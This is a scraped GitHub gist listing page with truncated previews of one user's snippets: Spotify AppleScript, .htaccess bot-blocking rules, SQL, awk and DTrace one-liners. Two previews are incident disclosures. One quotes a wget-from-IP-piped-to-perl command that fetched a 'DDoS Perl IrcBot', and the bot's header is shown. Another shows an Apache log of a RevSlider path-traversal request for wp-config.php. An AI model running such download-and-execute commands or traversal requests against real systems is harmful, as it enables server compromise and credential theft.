Skip to content

Instantly share code, notes, and snippets.

#* Script to record and tag spotify tracks, by Lloyd Moore, modified by Ryan Aslett *)
#(* Make sure you are already recording in Audio Hijack Pro with a session called 'spotifySession' *)
tell application "Spotify"
set currentTrack to (current track)
set trackName to (name of currentTrack)
set trackNumber to (track number of currentTrack)
set trackAlbum to (album of currentTrack)
set discNumber to (disc number of currentTrack)
set albumArtist to (album artist of currentTrack)
@ryanaslett
ryanaslett / .htaccess bot stopper rules
Last active December 25, 2015 00:49
This is a snippet of code that prevents bots from POST'ing if they do not appear to behave like humans. It assumes that a human browser would download assets like javascript and css and sets a cookie when they do. If a cookie is not returned, POST is denied.
# If they are requesting resources, then they're probably not bots.
RewriteCond %{REQUEST_FILENAME} \.(gif|png|jpe?g|ico|swf|js|css)$ [NC]
RewriteRule .* - [L,co=dude:abides:%{HTTP:Host}:86400]
# Check if this is a post method,
# If so, the human cookie must be set.
# If the dudes dont abide, they get a 403 for their POST.
RewriteCond %{REQUEST_METHOD} =POST
RewriteCond %{REQUEST_URI} !.*trackback/?$ [NC]
RewriteCond %{REQUEST_URI} !=/index.php [NC]
SELECT
*,
(DistinctClicks / DistinctViews) AS DCTR,
(TotalClicks / TotalViews) AS TCTR
FROM
(
SELECT
n.nid,
n.title,
FROM_UNIXTIME(a.autoexpire) AS Expires,
@ryanaslett
ryanaslett / Awk
Last active August 29, 2015 14:02
Awk funz
# Grabs the third field ($3) in a file, counts how many times that field occurs and outputs it in numeric order.
# This is pretty much the equivalent to a sql statement like the following:
# SELECT COUNT(*) as ROWS, `Third field` FROM `file` GROUP BY `Third field` ORDER BY `ROWS` ASC
awk '{ x[$3]++ } END { for (i in x) print x[i] ":" i }' file |sort -n
@ryanaslett
ryanaslett / Git history
Created June 11, 2014 18:23
I have my bash history set to keep 100000 entries. At about the 30,000 mark I decided to see what I use git for. Here's the awk script that does it.
history | awk '$4 ~ /^git/ { x[$4 " " $5]++ } END { for (i in x) print x[i] ":" i }' |sort -n
#!/usr/sbin/dtrace -C -s
#pragma D option quiet
proc::posix_spawn:exec-success,proc::__mac_execve:exec-success
{
this->isx64=(curproc->p_flag & P_LP64)!=0;
#define SELECT_64_86(x64, x86) (this->isx64 ? (x64) : (x86))
#define GET_POINTER(base, offset) (user_addr_t)SELECT_64_86(*(uint64_t*)((base)+sizeof(uint64_t)*(offset)), *(uint32_t*)((base)+sizeof(uint32_t)*(offset)))
@ryanaslett
ryanaslett / redo
Created September 29, 2014 22:06
History -> execution using peco and zsh.
awk '{FS=";"}{print $2}' ~/.zsh_history |peco |zsh
#!/usr/sbin/dtrace -C -s
#pragma D option quiet
proc::posix_spawn:exec-success,proc::__mac_execve:exec-success
{
this->isx64=(curproc->p_flag & P_LP64)!=0;
#define SELECT_64_86(x64, x86) (this->isx64 ? (x64) : (x86))
#define GET_POINTER(base, offset) (user_addr_t)SELECT_64_86(*(uint64_t*)((base)+sizeof(uint64_t)*(offset)), *(uint32_t*)((base)+sizeof(uint32_t)*(offset)))
@ryanaslett
ryanaslett / nice.pl
Last active March 13, 2017 00:39
Some shitlord thought they'd turn my box into an IRC DDOS machine. /bin/bash -c wget -qO - http://46.105.235.99/nice.png | perl
#!/usr/bin/perl
######################################################################################################################
######################################################################################################################
## DDoS Perl IrcBot v1.0 / 2012 by DDoS Security Team ## [ Help ] ###########################################
## Stealth MultiFunctional IrcBot writen in Perl #######################################################
## Teste on every system with PERL instlled ## !u @system ##
## ## !u @version ##
## This is a free program used on your own risk. ## !u @channel ##
## Created for educational purpose only. ## !u @flood ##
@ryanaslett
ryanaslett / apachelogfile
Created December 5, 2014 00:45
Here's how hackers hack
188.159.172.201 - - [29/Nov/2014:10:36:23 -0800] "GET /wp-content/plugins/revslider/inc_php/framework/ HTTP/1.1" 200 4572 "http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=294&cad=rja&uact=8&ved=0CC0QFjADOKIC&url=http%3A%2F%2Fwww.pgc3.org%2Fwp-content%2Fplugins%2Frevslider%2Finc_php%2Fframework%2F&ei=HRJ6VLXWH_SS7AaxnICgBA&usg=AFQjCNFDcpsOLNhF5DHkYd9KiHRzN0dLhA&bvm=bv.80642063,d.bGQ" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
188.159.172.201 - - [29/Nov/2014:10:36:23 -0800] "GET /favicon.ico HTTP/1.1" 200 268 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
188.159.172.201 - - [29/Nov/2014:10:37:13 -0800] "GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.1" 200 4160 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Gecko/20100101 Firefox/33.0"
188.159.172.201 - - [29/Nov/2014:10:40:29 -0800] "GET /dh_phpmyadmin/mysql.thevictim.com/ HTTP/1.1" 301 567 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) Ge